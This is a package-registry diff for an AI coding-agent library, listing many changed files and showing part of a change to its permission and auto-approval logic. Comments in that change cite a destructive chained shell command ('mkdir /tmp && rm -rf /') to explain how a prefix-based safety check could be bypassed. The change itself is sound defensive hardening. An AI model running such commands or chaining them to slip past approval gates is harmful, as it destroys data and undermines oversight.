@cjhyy/code-shell-core 0.5.0-rc.1 → 0.6.0-rc.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +13 -10
- package/dist/agent/agent-definition-registry.d.ts +21 -3
- package/dist/agent/agent-definition-registry.js +49 -18
- package/dist/agent/agent-definition.d.ts +32 -0
- package/dist/agent/agent-definition.js +49 -4
- package/dist/arena/arena.js +11 -12
- package/dist/arena/context/context-tools.js +47 -6
- package/dist/arena/context/within-root.d.ts +7 -0
- package/dist/arena/context/within-root.js +15 -0
- package/dist/arena/iterate/phases/argue.js +8 -2
- package/dist/arena/iterate/phases/revise.js +1 -1
- package/dist/arena/iterate/phases/tournament.js +3 -3
- package/dist/arena/ledger.js +9 -1
- package/dist/arena/phases/adjudication.js +1 -4
- package/dist/arena/phases/build-consensus.js +1 -4
- package/dist/arena/phases/cross-review.js +2 -8
- package/dist/arena/phases/debate-rounds.js +1 -4
- package/dist/arena/phases/participant-research.js +1 -4
- package/dist/arena/phases/planning-detail-expansion.js +8 -10
- package/dist/arena/planner.js +0 -1
- package/dist/arena/providers/docs.d.ts +1 -0
- package/dist/arena/providers/docs.js +5 -2
- package/dist/arena/providers/repo.d.ts +1 -0
- package/dist/arena/providers/repo.js +5 -2
- package/dist/arena/strategies/utils.d.ts +1 -4
- package/dist/arena/strategies/utils.js +7 -51
- package/dist/arena/transitions.d.ts +7 -2
- package/dist/arena/transitions.js +9 -4
- package/dist/arena/types.d.ts +8 -2
- package/dist/automation/cron-expr.d.ts +41 -0
- package/dist/automation/cron-expr.js +169 -0
- package/dist/automation/index.d.ts +41 -0
- package/dist/automation/index.js +39 -0
- package/dist/automation/runner.d.ts +84 -0
- package/dist/automation/runner.js +92 -0
- package/dist/automation/scheduler.d.ts +194 -0
- package/dist/automation/scheduler.js +623 -0
- package/dist/automation/store.d.ts +39 -0
- package/dist/automation/store.js +122 -0
- package/dist/automation/write-policy.d.ts +34 -0
- package/dist/automation/write-policy.js +113 -0
- package/dist/automation/write-run.d.ts +51 -0
- package/dist/automation/write-run.js +38 -0
- package/dist/capability-control/disabled-lists.d.ts +25 -0
- package/dist/capability-control/disabled-lists.js +57 -0
- package/dist/capability-control/index.d.ts +5 -0
- package/dist/capability-control/index.js +3 -0
- package/dist/capability-control/overlay.d.ts +64 -0
- package/dist/capability-control/overlay.js +116 -0
- package/dist/capability-control/project.d.ts +65 -0
- package/dist/capability-control/project.js +147 -0
- package/dist/capability-control/service.d.ts +70 -0
- package/dist/capability-control/service.js +147 -0
- package/dist/capability-control/types.d.ts +62 -0
- package/dist/capability-control/types.js +17 -0
- package/dist/cc-orchestrator/agent-adapter.d.ts +50 -0
- package/dist/cc-orchestrator/agent-adapter.js +133 -0
- package/dist/cc-orchestrator/cc-capability.d.ts +19 -0
- package/dist/cc-orchestrator/cc-capability.js +53 -0
- package/dist/cc-orchestrator/codex-session-discovery.d.ts +24 -0
- package/dist/cc-orchestrator/codex-session-discovery.js +191 -0
- package/dist/cc-orchestrator/codex-session-history.d.ts +25 -0
- package/dist/cc-orchestrator/codex-session-history.js +187 -0
- package/dist/cc-orchestrator/external-agent-changes.d.ts +19 -0
- package/dist/cc-orchestrator/external-agent-changes.js +214 -0
- package/dist/cc-orchestrator/external-agent-driver.d.ts +18 -0
- package/dist/cc-orchestrator/external-agent-driver.js +69 -0
- package/dist/cc-orchestrator/index.d.ts +8 -0
- package/dist/cc-orchestrator/index.js +8 -0
- package/dist/cc-orchestrator/relevance-judge.d.ts +15 -0
- package/dist/cc-orchestrator/relevance-judge.js +29 -0
- package/dist/cc-orchestrator/session-discovery.d.ts +46 -0
- package/dist/cc-orchestrator/session-discovery.js +125 -0
- package/dist/cc-orchestrator/session-history.d.ts +19 -0
- package/dist/cc-orchestrator/session-history.js +67 -0
- package/dist/cli/agent-server-stdio.d.ts +26 -1
- package/dist/cli/agent-server-stdio.js +221 -28
- package/dist/cli/agent-server-tcp.d.ts +20 -0
- package/dist/cli/agent-server-tcp.js +134 -0
- package/dist/cli/graceful-shutdown.d.ts +27 -0
- package/dist/cli/graceful-shutdown.js +30 -0
- package/dist/context/compaction.d.ts +56 -0
- package/dist/context/compaction.js +209 -15
- package/dist/context/manager.d.ts +0 -20
- package/dist/context/manager.js +25 -41
- package/dist/cost-tracker.js +5 -61
- package/dist/credentials/cipher.d.ts +49 -0
- package/dist/credentials/cipher.js +45 -0
- package/dist/credentials/cookie-jar.d.ts +24 -0
- package/dist/credentials/cookie-jar.js +40 -0
- package/dist/credentials/index.d.ts +7 -0
- package/dist/credentials/index.js +5 -0
- package/dist/credentials/inject-credential-tool.d.ts +20 -0
- package/dist/credentials/inject-credential-tool.js +130 -0
- package/dist/credentials/store.d.ts +72 -0
- package/dist/credentials/store.js +184 -0
- package/dist/credentials/types.d.ts +56 -0
- package/dist/credentials/use-credential-tool.d.ts +29 -0
- package/dist/credentials/use-credential-tool.js +205 -0
- package/dist/credentials/use-gate.d.ts +56 -0
- package/dist/credentials/use-gate.js +52 -0
- package/dist/cron/cron-runtime.d.ts +2 -0
- package/dist/cron/cron-runtime.js +2 -0
- package/dist/cron/cron-store.d.ts +2 -0
- package/dist/cron/cron-store.js +2 -0
- package/dist/cron/scheduler.d.ts +5 -32
- package/dist/cron/scheduler.js +5 -113
- package/dist/data/model-metadata.d.ts +77 -0
- package/dist/data/model-metadata.js +56 -0
- package/dist/data/model-metadata.json +216 -0
- package/dist/data/openrouter-models.d.ts +18 -7
- package/dist/data/openrouter-models.js +35 -8
- package/dist/data/openrouter-sync.js +1 -1
- package/dist/engine/aux-key.d.ts +10 -0
- package/dist/engine/aux-key.js +11 -0
- package/dist/engine/dynamic-tool-defs.d.ts +19 -0
- package/dist/engine/dynamic-tool-defs.js +36 -0
- package/dist/engine/engine.d.ts +431 -108
- package/dist/engine/engine.js +1630 -279
- package/dist/engine/friendly-error.d.ts +18 -0
- package/dist/engine/friendly-error.js +63 -0
- package/dist/engine/goal.d.ts +187 -0
- package/dist/engine/goal.js +196 -0
- package/dist/engine/image-compression.d.ts +81 -0
- package/dist/engine/image-compression.js +186 -0
- package/dist/engine/image-policy.d.ts +165 -0
- package/dist/engine/image-policy.js +189 -0
- package/dist/engine/model-connections-pool.d.ts +17 -0
- package/dist/engine/model-connections-pool.js +66 -0
- package/dist/engine/model-facade.d.ts +10 -0
- package/dist/engine/model-facade.js +25 -0
- package/dist/engine/patch-orphaned-tools.js +3 -0
- package/dist/engine/reactive-threshold.d.ts +13 -0
- package/dist/engine/reactive-threshold.js +17 -0
- package/dist/engine/resolve-llm-config.d.ts +16 -0
- package/dist/engine/resolve-llm-config.js +44 -0
- package/dist/engine/runtime.js +9 -1
- package/dist/engine/sandbox-cache-key.d.ts +10 -0
- package/dist/engine/sandbox-cache-key.js +9 -0
- package/dist/engine/sandbox-config.d.ts +31 -0
- package/dist/engine/sandbox-config.js +38 -0
- package/dist/engine/session-title.d.ts +13 -0
- package/dist/engine/session-title.js +34 -0
- package/dist/engine/session-usage.d.ts +19 -0
- package/dist/engine/session-usage.js +25 -0
- package/dist/engine/steer-queue.d.ts +32 -0
- package/dist/engine/steer-queue.js +26 -0
- package/dist/engine/streaming-tool-queue.d.ts +12 -0
- package/dist/engine/streaming-tool-queue.js +50 -10
- package/dist/engine/turn-loop.d.ts +94 -9
- package/dist/engine/turn-loop.js +775 -342
- package/dist/engine/types.d.ts +175 -0
- package/dist/engine/types.js +13 -0
- package/dist/external-agents/config.d.ts +2 -0
- package/dist/external-agents/config.js +15 -0
- package/dist/external-agents/types.d.ts +31 -0
- package/dist/external-agents/types.js +1 -0
- package/dist/git/parse-log.d.ts +13 -0
- package/dist/git/parse-log.js +21 -0
- package/dist/git/utils.d.ts +8 -6
- package/dist/git/utils.js +62 -26
- package/dist/git/worktree.d.ts +48 -0
- package/dist/git/worktree.js +111 -20
- package/dist/hooks/events.d.ts +23 -1
- package/dist/hooks/goal-stop-hook.d.ts +58 -0
- package/dist/hooks/goal-stop-hook.js +279 -0
- package/dist/hooks/hook-output.d.ts +33 -0
- package/dist/hooks/hook-output.js +79 -0
- package/dist/hooks/registry.d.ts +15 -0
- package/dist/hooks/registry.js +57 -1
- package/dist/hooks/shell-runner.d.ts +2 -0
- package/dist/hooks/shell-runner.js +48 -18
- package/dist/index.d.ts +79 -11
- package/dist/index.js +89 -6
- package/dist/llm/capabilities/param-specs.d.ts +14 -0
- package/dist/llm/capabilities/param-specs.js +62 -0
- package/dist/llm/capabilities/reasoning-control.d.ts +24 -0
- package/dist/llm/capabilities/reasoning-control.js +38 -0
- package/dist/llm/capabilities/rules.js +37 -3
- package/dist/llm/capabilities/types.d.ts +32 -2
- package/dist/llm/clamp-max-tokens.d.ts +11 -0
- package/dist/llm/clamp-max-tokens.js +17 -0
- package/dist/llm/client-base.d.ts +69 -5
- package/dist/llm/client-base.js +185 -25
- package/dist/llm/client-factory.d.ts +3 -3
- package/dist/llm/client-factory.js +2 -2
- package/dist/llm/model-cache.js +4 -2
- package/dist/llm/model-pool.d.ts +29 -11
- package/dist/llm/model-pool.js +36 -20
- package/dist/llm/provider-auth.d.ts +41 -0
- package/dist/llm/provider-auth.js +76 -0
- package/dist/llm/provider-catalog.d.ts +6 -2
- package/dist/llm/providers/anthropic.d.ts +32 -2
- package/dist/llm/providers/anthropic.js +207 -18
- package/dist/llm/providers/openai.d.ts +47 -2
- package/dist/llm/providers/openai.js +478 -71
- package/dist/llm/reasoning-setting.d.ts +51 -0
- package/dist/llm/reasoning-setting.js +40 -0
- package/dist/llm/stop-reason.d.ts +13 -0
- package/dist/llm/stop-reason.js +21 -0
- package/dist/llm/stream-watchdog.js +5 -1
- package/dist/llm/strip-vision.d.ts +32 -0
- package/dist/llm/strip-vision.js +94 -0
- package/dist/llm/token-counter.js +9 -2
- package/dist/llm/types.d.ts +9 -6
- package/dist/logging/logger.js +18 -4
- package/dist/logging/sanitize-messages.d.ts +10 -0
- package/dist/logging/sanitize-messages.js +112 -0
- package/dist/lsp/client.js +28 -8
- package/dist/lsp/manager.d.ts +1 -1
- package/dist/lsp/manager.js +42 -11
- package/dist/lsp/root-path.d.ts +9 -0
- package/dist/lsp/root-path.js +12 -0
- package/dist/model-catalog/builtin.d.ts +12 -0
- package/dist/model-catalog/builtin.js +407 -0
- package/dist/model-catalog/gen-connections.d.ts +20 -0
- package/dist/model-catalog/gen-connections.js +28 -0
- package/dist/model-catalog/index.d.ts +41 -0
- package/dist/model-catalog/index.js +90 -0
- package/dist/model-catalog/params.d.ts +20 -0
- package/dist/model-catalog/params.js +45 -0
- package/dist/model-catalog/resolve.d.ts +48 -0
- package/dist/model-catalog/resolve.js +33 -0
- package/dist/model-catalog/save-entry.d.ts +32 -0
- package/dist/model-catalog/save-entry.js +104 -0
- package/dist/model-catalog/types.d.ts +561 -0
- package/dist/model-catalog/types.js +93 -0
- package/dist/model-catalog/upsert.d.ts +9 -0
- package/dist/model-catalog/upsert.js +8 -0
- package/dist/onboarding.d.ts +12 -82
- package/dist/onboarding.js +75 -333
- package/dist/plugins/gitOps.d.ts +53 -0
- package/dist/plugins/gitOps.js +130 -5
- package/dist/plugins/installer/checkUpdate.d.ts +16 -0
- package/dist/plugins/installer/checkUpdate.js +32 -0
- package/dist/plugins/installer/codex/convertAgents.d.ts +7 -0
- package/dist/plugins/installer/codex/convertAgents.js +55 -0
- package/dist/plugins/installer/codex/convertCommands.d.ts +19 -0
- package/dist/plugins/installer/codex/convertCommands.js +46 -0
- package/dist/plugins/installer/codex/convertMcp.d.ts +11 -0
- package/dist/plugins/installer/codex/convertMcp.js +85 -0
- package/dist/plugins/installer/codex/convertSkills.d.ts +12 -0
- package/dist/plugins/installer/codex/convertSkills.js +33 -0
- package/dist/plugins/installer/detectFormat.d.ts +2 -0
- package/dist/plugins/installer/detectFormat.js +6 -0
- package/dist/plugins/installer/install.d.ts +7 -0
- package/dist/plugins/installer/install.js +123 -0
- package/dist/plugins/installer/installFromArchive.d.ts +43 -0
- package/dist/plugins/installer/installFromArchive.js +134 -0
- package/dist/plugins/installer/installFromSource.d.ts +13 -0
- package/dist/plugins/installer/installFromSource.js +51 -0
- package/dist/plugins/installer/list.d.ts +9 -0
- package/dist/plugins/installer/list.js +30 -0
- package/dist/plugins/installer/loadPluginAgents.d.ts +3 -0
- package/dist/plugins/installer/loadPluginAgents.js +27 -0
- package/dist/plugins/installer/loadPluginMcp.d.ts +14 -0
- package/dist/plugins/installer/loadPluginMcp.js +107 -0
- package/dist/plugins/installer/parseSource.d.ts +20 -0
- package/dist/plugins/installer/parseSource.js +74 -0
- package/dist/plugins/installer/paths.d.ts +5 -0
- package/dist/plugins/installer/paths.js +25 -0
- package/dist/plugins/installer/pruneDisabled.d.ts +24 -0
- package/dist/plugins/installer/pruneDisabled.js +73 -0
- package/dist/plugins/installer/types.d.ts +52 -0
- package/dist/plugins/installer/types.js +28 -0
- package/dist/plugins/installer/uninstall.d.ts +2 -0
- package/dist/plugins/installer/uninstall.js +18 -0
- package/dist/plugins/installer/unzip.d.ts +14 -0
- package/dist/plugins/installer/unzip.js +82 -0
- package/dist/plugins/installer/update.d.ts +28 -0
- package/dist/plugins/installer/update.js +97 -0
- package/dist/plugins/loadPluginHooks.d.ts +54 -1
- package/dist/plugins/loadPluginHooks.js +83 -1
- package/dist/plugins/marketplaceManager.d.ts +15 -1
- package/dist/plugins/marketplaceManager.js +58 -4
- package/dist/plugins/pluginCommandHook.js +34 -14
- package/dist/plugins/pluginContent.d.ts +30 -0
- package/dist/plugins/pluginContent.js +83 -0
- package/dist/plugins/pluginInstaller.d.ts +34 -0
- package/dist/plugins/pluginInstaller.js +168 -35
- package/dist/plugins/schemas.js +41 -6
- package/dist/plugins/types.d.ts +10 -0
- package/dist/preset/index.d.ts +7 -1
- package/dist/preset/index.js +112 -6
- package/dist/product/types.d.ts +1 -1
- package/dist/prompt/composer.d.ts +31 -0
- package/dist/prompt/composer.js +95 -25
- package/dist/prompt/instruction-scanner.js +5 -3
- package/dist/prompt/section-loader.js +1 -0
- package/dist/prompt/sections/base.md +1 -0
- package/dist/prompt/sections/browser.md +10 -0
- package/dist/prompt/sections/coding.md +4 -0
- package/dist/prompt/sections/orchestration.md +8 -0
- package/dist/protocol/chat-session-manager.d.ts +15 -2
- package/dist/protocol/chat-session-manager.js +46 -0
- package/dist/protocol/chat-session.d.ts +82 -0
- package/dist/protocol/chat-session.js +121 -1
- package/dist/protocol/client.d.ts +27 -0
- package/dist/protocol/client.js +38 -0
- package/dist/protocol/redact.d.ts +50 -0
- package/dist/protocol/redact.js +71 -0
- package/dist/protocol/server.d.ts +153 -2
- package/dist/protocol/server.js +807 -39
- package/dist/protocol/tcp-transport.d.ts +45 -0
- package/dist/protocol/tcp-transport.js +74 -0
- package/dist/protocol/transport.js +3 -2
- package/dist/protocol/types.d.ts +69 -0
- package/dist/protocol/types.js +22 -0
- package/dist/quota/credentials.d.ts +3 -0
- package/dist/quota/credentials.js +80 -0
- package/dist/quota/index.d.ts +36 -0
- package/dist/quota/index.js +155 -0
- package/dist/quota/types.d.ts +48 -0
- package/dist/quota/types.js +13 -0
- package/dist/remote/bridge.d.ts +11 -2
- package/dist/remote/bridge.js +61 -33
- package/dist/review/review-prompt.d.ts +28 -0
- package/dist/review/review-prompt.js +81 -0
- package/dist/run/ArtifactTracker.js +5 -4
- package/dist/run/EngineRunner.d.ts +27 -1
- package/dist/run/EngineRunner.js +46 -8
- package/dist/run/FileRunStore.js +40 -11
- package/dist/run/RunApprovalBackend.js +25 -5
- package/dist/run/RunLock.d.ts +28 -2
- package/dist/run/RunLock.js +49 -7
- package/dist/run/RunManager.d.ts +12 -0
- package/dist/run/RunManager.js +86 -3
- package/dist/run/RunQueue.d.ts +1 -0
- package/dist/run/RunQueue.js +8 -2
- package/dist/run/factory.d.ts +8 -1
- package/dist/run/factory.js +1 -0
- package/dist/run/index.d.ts +2 -2
- package/dist/run/index.js +1 -1
- package/dist/run/redirect-target.d.ts +7 -0
- package/dist/run/redirect-target.js +13 -0
- package/dist/run/types.js +1 -1
- package/dist/runtime/background-shell.d.ts +139 -0
- package/dist/runtime/background-shell.js +495 -0
- package/dist/runtime/output-clean.d.ts +24 -0
- package/dist/runtime/output-clean.js +41 -0
- package/dist/runtime/ring-file.d.ts +64 -0
- package/dist/runtime/ring-file.js +174 -0
- package/dist/runtime/safe-spawn.js +15 -34
- package/dist/runtime/spawn-common.d.ts +148 -0
- package/dist/runtime/spawn-common.js +303 -0
- package/dist/runtime/truncate-output.d.ts +22 -0
- package/dist/runtime/truncate-output.js +49 -0
- package/dist/runtime/utf8-cut.d.ts +11 -0
- package/dist/runtime/utf8-cut.js +23 -0
- package/dist/services/auto-dream.d.ts +4 -0
- package/dist/services/auto-dream.js +26 -26
- package/dist/services/browser-open.d.ts +13 -0
- package/dist/services/browser-open.js +16 -0
- package/dist/services/diagnostics.d.ts +1 -2
- package/dist/services/diagnostics.js +12 -7
- package/dist/services/dream-consolidation.d.ts +57 -0
- package/dist/services/dream-consolidation.js +151 -0
- package/dist/services/extract-memories.d.ts +14 -1
- package/dist/services/extract-memories.js +45 -6
- package/dist/services/memory-orchestrator.d.ts +21 -0
- package/dist/services/memory-orchestrator.js +125 -32
- package/dist/services/notifier.d.ts +8 -0
- package/dist/services/notifier.js +39 -25
- package/dist/services/oauth.js +5 -7
- package/dist/services/session-memory-sort.d.ts +8 -0
- package/dist/services/session-memory-sort.js +9 -0
- package/dist/services/session-memory.js +30 -19
- package/dist/session/file-history.d.ts +124 -1
- package/dist/session/file-history.js +232 -9
- package/dist/session/memory.d.ts +116 -2
- package/dist/session/memory.js +250 -28
- package/dist/session/session-manager.d.ts +63 -1
- package/dist/session/session-manager.js +186 -5
- package/dist/session/simple-diff.d.ts +23 -0
- package/dist/session/simple-diff.js +84 -0
- package/dist/session/transcript.d.ts +25 -1
- package/dist/session/transcript.js +35 -2
- package/dist/session/undo-target.d.ts +67 -0
- package/dist/session/undo-target.js +144 -0
- package/dist/settings/disk-defaults.d.ts +42 -0
- package/dist/settings/disk-defaults.js +33 -0
- package/dist/settings/feature-flags.d.ts +64 -0
- package/dist/settings/feature-flags.js +61 -0
- package/dist/settings/manager.d.ts +101 -1
- package/dist/settings/manager.js +345 -15
- package/dist/settings/migrate-config.d.ts +45 -0
- package/dist/settings/migrate-config.js +125 -0
- package/dist/settings/personalization.d.ts +19 -0
- package/dist/settings/personalization.js +7 -0
- package/dist/settings/schema-export.d.ts +25 -0
- package/dist/settings/schema-export.js +38 -0
- package/dist/settings/schema.d.ts +1827 -396
- package/dist/settings/schema.js +361 -81
- package/dist/skills/scanner.d.ts +9 -0
- package/dist/skills/scanner.js +30 -2
- package/dist/stt/resolve-transcribe.d.ts +31 -0
- package/dist/stt/resolve-transcribe.js +108 -0
- package/dist/stt/transcribe.d.ts +51 -0
- package/dist/stt/transcribe.js +65 -0
- package/dist/tool-system/browser-bridge.d.ts +226 -0
- package/dist/tool-system/browser-bridge.js +163 -0
- package/dist/tool-system/builtin/add-marketplace.d.ts +12 -0
- package/dist/tool-system/builtin/add-marketplace.js +76 -0
- package/dist/tool-system/builtin/agent-heartbeat.d.ts +49 -0
- package/dist/tool-system/builtin/agent-heartbeat.js +89 -0
- package/dist/tool-system/builtin/agent-notifications.d.ts +12 -3
- package/dist/tool-system/builtin/agent-notifications.js +9 -3
- package/dist/tool-system/builtin/agent-output-file.d.ts +38 -0
- package/dist/tool-system/builtin/agent-output-file.js +72 -0
- package/dist/tool-system/builtin/agent-registry.d.ts +23 -0
- package/dist/tool-system/builtin/agent-registry.js +16 -4
- package/dist/tool-system/builtin/agent.d.ts +50 -11
- package/dist/tool-system/builtin/agent.js +576 -73
- package/dist/tool-system/builtin/apply-patch/applier.js +66 -8
- package/dist/tool-system/builtin/apply-patch/backup-targets.d.ts +10 -0
- package/dist/tool-system/builtin/apply-patch/backup-targets.js +30 -0
- package/dist/tool-system/builtin/apply-patch/index.js +7 -3
- package/dist/tool-system/builtin/arena.js +6 -7
- package/dist/tool-system/builtin/background-jobs.d.ts +76 -0
- package/dist/tool-system/builtin/background-jobs.js +124 -0
- package/dist/tool-system/builtin/background-shell-tools.d.ts +20 -0
- package/dist/tool-system/builtin/background-shell-tools.js +108 -0
- package/dist/tool-system/builtin/background-work.d.ts +67 -0
- package/dist/tool-system/builtin/background-work.js +86 -0
- package/dist/tool-system/builtin/bash-output-style.d.ts +32 -0
- package/dist/tool-system/builtin/bash-output-style.js +40 -0
- package/dist/tool-system/builtin/bash.d.ts +5 -2
- package/dist/tool-system/builtin/bash.js +98 -62
- package/dist/tool-system/builtin/browser-tools.d.ts +33 -0
- package/dist/tool-system/builtin/browser-tools.js +312 -0
- package/dist/tool-system/builtin/cancel-goal.d.ts +31 -0
- package/dist/tool-system/builtin/cancel-goal.js +64 -0
- package/dist/tool-system/builtin/check-quota.d.ts +15 -0
- package/dist/tool-system/builtin/check-quota.js +34 -0
- package/dist/tool-system/builtin/complete-goal.d.ts +25 -0
- package/dist/tool-system/builtin/complete-goal.js +45 -0
- package/dist/tool-system/builtin/config.js +7 -0
- package/dist/tool-system/builtin/cron.d.ts +7 -0
- package/dist/tool-system/builtin/cron.js +105 -9
- package/dist/tool-system/builtin/drive-claude-code.d.ts +30 -0
- package/dist/tool-system/builtin/drive-claude-code.js +157 -0
- package/dist/tool-system/builtin/edit-model-catalog.d.ts +3 -0
- package/dist/tool-system/builtin/edit-model-catalog.js +94 -0
- package/dist/tool-system/builtin/edit.d.ts +2 -1
- package/dist/tool-system/builtin/edit.js +21 -12
- package/dist/tool-system/builtin/eol.d.ts +29 -0
- package/dist/tool-system/builtin/eol.js +37 -0
- package/dist/tool-system/builtin/file-cache.d.ts +6 -0
- package/dist/tool-system/builtin/file-cache.js +8 -0
- package/dist/tool-system/builtin/generate-image.d.ts +60 -0
- package/dist/tool-system/builtin/generate-image.js +374 -0
- package/dist/tool-system/builtin/generate-video.d.ts +55 -0
- package/dist/tool-system/builtin/generate-video.js +361 -0
- package/dist/tool-system/builtin/grep.js +6 -2
- package/dist/tool-system/builtin/image-providers.d.ts +86 -0
- package/dist/tool-system/builtin/image-providers.js +190 -0
- package/dist/tool-system/builtin/image-uploader.d.ts +33 -0
- package/dist/tool-system/builtin/image-uploader.js +74 -0
- package/dist/tool-system/builtin/index.d.ts +24 -1
- package/dist/tool-system/builtin/index.js +310 -25
- package/dist/tool-system/builtin/mcp-tools.js +23 -3
- package/dist/tool-system/builtin/memory.js +45 -7
- package/dist/tool-system/builtin/notebook-edit.d.ts +2 -1
- package/dist/tool-system/builtin/notebook-edit.js +1 -1
- package/dist/tool-system/builtin/powershell.js +4 -1
- package/dist/tool-system/builtin/read.d.ts +2 -1
- package/dist/tool-system/builtin/read.js +11 -3
- package/dist/tool-system/builtin/repl.js +4 -1
- package/dist/tool-system/builtin/skill.js +9 -0
- package/dist/tool-system/builtin/sleep.js +12 -5
- package/dist/tool-system/builtin/task.js +4 -1
- package/dist/tool-system/builtin/tool-search.js +25 -7
- package/dist/tool-system/builtin/update-automation-memory.d.ts +24 -0
- package/dist/tool-system/builtin/update-automation-memory.js +60 -0
- package/dist/tool-system/builtin/video-providers.d.ts +154 -0
- package/dist/tool-system/builtin/video-providers.js +235 -0
- package/dist/tool-system/builtin/view-image.d.ts +18 -0
- package/dist/tool-system/builtin/view-image.js +96 -0
- package/dist/tool-system/builtin/web-fetch.js +12 -2
- package/dist/tool-system/builtin/web-search.d.ts +4 -1
- package/dist/tool-system/builtin/web-search.js +57 -10
- package/dist/tool-system/builtin/worktree.d.ts +2 -1
- package/dist/tool-system/builtin/worktree.js +31 -4
- package/dist/tool-system/builtin/write.d.ts +2 -1
- package/dist/tool-system/builtin/write.js +1 -1
- package/dist/tool-system/context.d.ts +166 -6
- package/dist/tool-system/executor.d.ts +3 -2
- package/dist/tool-system/executor.js +197 -119
- package/dist/tool-system/investigation-guard.d.ts +4 -1
- package/dist/tool-system/investigation-guard.js +20 -4
- package/dist/tool-system/mcp-manager.d.ts +78 -16
- package/dist/tool-system/mcp-manager.js +357 -28
- package/dist/tool-system/path-policy.d.ts +99 -0
- package/dist/tool-system/path-policy.js +578 -0
- package/dist/tool-system/permission.d.ts +36 -1
- package/dist/tool-system/permission.js +322 -117
- package/dist/tool-system/plan-mode-allowlist.d.ts +32 -0
- package/dist/tool-system/plan-mode-allowlist.js +65 -0
- package/dist/tool-system/registry.d.ts +1 -0
- package/dist/tool-system/registry.js +26 -1
- package/dist/tool-system/sandbox/index.d.ts +8 -0
- package/dist/tool-system/sandbox/index.js +7 -2
- package/dist/tool-system/validate-tool-metadata.d.ts +36 -0
- package/dist/tool-system/validate-tool-metadata.js +63 -0
- package/dist/tool-system/validation.d.ts +10 -0
- package/dist/tool-system/validation.js +16 -3
- package/dist/types.d.ts +301 -15
- package/dist/updater.js +20 -9
- package/dist/utils/envUtils.d.ts +0 -9
- package/dist/utils/envUtils.js +3 -28
- package/dist/utils/exec.d.ts +40 -0
- package/dist/utils/exec.js +144 -0
- package/dist/utils/format.js +4 -2
- package/dist/utils/json.d.ts +12 -0
- package/dist/utils/json.js +92 -0
- package/dist/utils/lockfile.js +9 -2
- package/dist/utils/theme.d.ts +7 -1
- package/dist/utils/theme.js +5 -3
- package/dist/utils/toolDisplay.js +0 -1
- package/package.json +14 -7
- package/dist/agent/coordinator.d.ts +0 -49
- package/dist/agent/coordinator.js +0 -77
- package/dist/settings/manager.test.js +0 -73
- package/dist/tool-system/builtin/remote-trigger.d.ts +0 -6
- package/dist/tool-system/builtin/remote-trigger.js +0 -54
- package/dist/tool-system/builtin/send-message.d.ts +0 -6
- package/dist/tool-system/builtin/send-message.js +0 -47
- /package/dist/{settings/manager.test.d.ts → credentials/types.js} +0 -0
|
@@ -1,7 +1,11 @@
|
|
|
1
1
|
/**
|
|
2
2
|
* Permission system — classifier + approval backend.
|
|
3
3
|
*/
|
|
4
|
+
import { resolve as resolvePath, dirname } from "node:path";
|
|
5
|
+
import { existsSync, mkdirSync, readFileSync, writeFileSync, renameSync, } from "node:fs";
|
|
6
|
+
import { randomUUID } from "node:crypto";
|
|
4
7
|
import { logger as rootPermLogger } from "../logging/logger.js";
|
|
8
|
+
import { READ_ONLY_TOOLS } from "./plan-mode-allowlist.js";
|
|
5
9
|
export class HeadlessApprovalBackend {
|
|
6
10
|
mode;
|
|
7
11
|
constructor(mode) {
|
|
@@ -14,8 +18,7 @@ export class HeadlessApprovalBackend {
|
|
|
14
18
|
case "deny-all":
|
|
15
19
|
return { approved: false, reason: "headless deny-all mode" };
|
|
16
20
|
case "approve-read-only": {
|
|
17
|
-
|
|
18
|
-
if (readOnlyTools.includes(req.toolName)) {
|
|
21
|
+
if (READ_ONLY_TOOLS.has(req.toolName)) {
|
|
19
22
|
return { approved: true };
|
|
20
23
|
}
|
|
21
24
|
return { approved: false, reason: "read-only mode: write operations denied" };
|
|
@@ -37,11 +40,10 @@ export class AutoApprovalBackend {
|
|
|
37
40
|
if (req.riskLevel === "low") {
|
|
38
41
|
return { approved: true };
|
|
39
42
|
}
|
|
40
|
-
//
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
// Auto-deny high-risk dangerous commands
|
|
43
|
+
// Deny gate runs BEFORE the safe-prefix fast-path: a high-risk command
|
|
44
|
+
// must never be auto-approved just because it begins with a "safe" verb
|
|
45
|
+
// (e.g. `mkdir /tmp && rm -rf /`). The classifier already flagged it
|
|
46
|
+
// dangerous; honor that first.
|
|
45
47
|
if (req.riskLevel === "high") {
|
|
46
48
|
if (this.delegate) {
|
|
47
49
|
return this.delegate.requestApproval(req);
|
|
@@ -51,11 +53,22 @@ export class AutoApprovalBackend {
|
|
|
51
53
|
reason: "auto mode: high-risk operation denied (no interactive approval available)",
|
|
52
54
|
};
|
|
53
55
|
}
|
|
54
|
-
//
|
|
56
|
+
// Auto-approve common safe patterns (only reachable for low/medium risk).
|
|
57
|
+
if (this.isSafeOperation(req)) {
|
|
58
|
+
return { approved: true };
|
|
59
|
+
}
|
|
60
|
+
// Medium risk that is NOT an established-safe operation: delegate if
|
|
61
|
+
// available, otherwise fail CLOSED (matching the high-risk branch and the
|
|
62
|
+
// "auto = approve safe operations only" contract). Auto-approving here
|
|
63
|
+
// would silently run unvetted commands like `kill`, `npm publish`, or
|
|
64
|
+
// unknown binaries.
|
|
55
65
|
if (this.delegate) {
|
|
56
66
|
return this.delegate.requestApproval(req);
|
|
57
67
|
}
|
|
58
|
-
return {
|
|
68
|
+
return {
|
|
69
|
+
approved: false,
|
|
70
|
+
reason: "auto mode: medium-risk operation denied (no interactive approval available)",
|
|
71
|
+
};
|
|
59
72
|
}
|
|
60
73
|
isSafeOperation(req) {
|
|
61
74
|
const { toolName, args } = req;
|
|
@@ -67,42 +80,15 @@ export class AutoApprovalBackend {
|
|
|
67
80
|
return true;
|
|
68
81
|
}
|
|
69
82
|
}
|
|
70
|
-
// Safe bash commands
|
|
83
|
+
// Safe bash commands. Reuse the metacharacter-aware classifier instead of
|
|
84
|
+
// a naive startsWith() prefix match — the latter only inspects the first
|
|
85
|
+
// token and is blind to command chaining (`&&`/`||`/`;`), substitution,
|
|
86
|
+
// redirection, and pipe-to-shell, so `mkdir /tmp && rm -rf /` would slip
|
|
87
|
+
// through. classifyBashCommand/scanShellCommand handle all of those.
|
|
71
88
|
if (toolName === "Bash") {
|
|
72
89
|
const cmd = String(args.command ?? "");
|
|
73
|
-
const
|
|
74
|
-
|
|
75
|
-
"npm ",
|
|
76
|
-
"pnpm ",
|
|
77
|
-
"yarn ",
|
|
78
|
-
"npx ",
